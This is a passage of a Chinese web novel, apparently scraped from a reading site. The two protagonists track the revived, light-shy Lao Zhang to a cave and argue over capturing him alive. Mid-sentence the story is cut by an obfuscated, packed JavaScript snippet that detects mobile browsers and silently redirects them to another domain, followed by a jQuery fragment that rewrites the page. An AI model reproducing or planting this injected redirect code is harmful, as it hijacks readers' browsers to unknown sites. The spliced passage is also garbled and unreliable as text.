两人对视一眼,意识到有牵狼卫发现了老张的踪迹,于是一同朝着哨音传来的方向奔去。 那是一处山洞。 山洞的洞口非常狭小,仅能容纳一人通过,里头漆黑一片深不见底。 被派出的一组牵狼卫,在细犬的带领下找到了老张滴落在草丛中的血迹,又沿着零星的血迹找到了这处山洞。因为被祁煊警告过不可受伤,所以几个牵狼卫没有轻举妄动。 “洞口的石壁上有血迹,草也被踩踏过,人多半就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396449|184294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在里头。”闻潮落说。 “去弄支火把来,我进去看看。”祁煊朝牵狼卫吩咐。 不多时,便有人取来了火把。 祁煊一手执着长刀,另一手执着火把,朝山洞中行去。 闻潮落一手拎着弩,跟在了祁煊后头。 “你来做什么?”祁煊低声问他。 “我怕你被咬了也变成怪物。一会儿他要是咬你,我就提刀把你被咬的地方砍了,这样你就不会中毒。”闻潮落一本正经地说。 “那他要是咬我脖子呢?” “那不好意思,只能让你脑袋分家……”闻潮落话说到一半,忽然顿住了脚步,低声道:“我看到他了,他真的活过来了!” 祁煊拧眉细看,但他手里的火把只能照亮一小片地方,再往里便是黑暗,什么也看不到。 “他在哪儿?”祁煊问。 “大约二十步之外的地方,他蹲在两块石头的夹缝里……等等,他好像怕光。” “怕光?”祁煊朝前伸了伸火把。 “给我。”闻潮落想接过火把走在前头,但祁煊拒绝了他。 无奈,他只能跟在对方身后,将手里的弩架在了祁煊肩上。 “我帮你照着,你用弩。”祁煊说。 “他两只手挡住了脸,看起来很害怕,没有要攻击人的意思。”闻潮落盯着躲在角落里的老张看了一会儿,似乎没打算扣动悬刀,“我觉得他和之前那东西不一样。” “万一他会伤人呢?” “万一他可以沟通呢?之前那东西已经被你烧了,咱们至今对那东西一无所知。如果老张还有人的意识,或许可以帮上大忙。” 闻潮落觉得,可以赌一把。 两人试图与老张沟通,但对方始终挡着脸缩着身体,看起来十分害怕。无奈,两人只能暂时退了出来。 “这山洞后头没有路,只有这一个出入口,你们在这里守着。”祁煊点了四个人守住洞口,让一人去取了绳子,自己则去找了一截树杈。 “你想干什么?”闻潮落问。 “你不是说想活捉吗?”祁煊拿长刀削着刚找来的树杈。 闻潮落盯着那树杈看了半晌,一时没明白这东西的用处。就见祁煊拿着树杈比划了几下,而后趁人不备,一把将树杈抵在了闻潮落颈间,把人抵在了一棵树上。 “以前训细犬时,我经常用这招……” “祁煊你个王八蛋,你才是细犬呢!”闻潮落气的够呛,伸手想反击,但因为抵着他的树杈足有一丈余,他的胳膊压根摸不到祁煊。 “怎么样,好用吧?”祁煊一脸得意。 “好用你个头!”闻潮落一把夺过树杈,冲着祁煊左右开弓,直把人打得连声讨饶才作罢。末了他还觉得不解气,又道:“你今晚滚到营帐门口去睡!”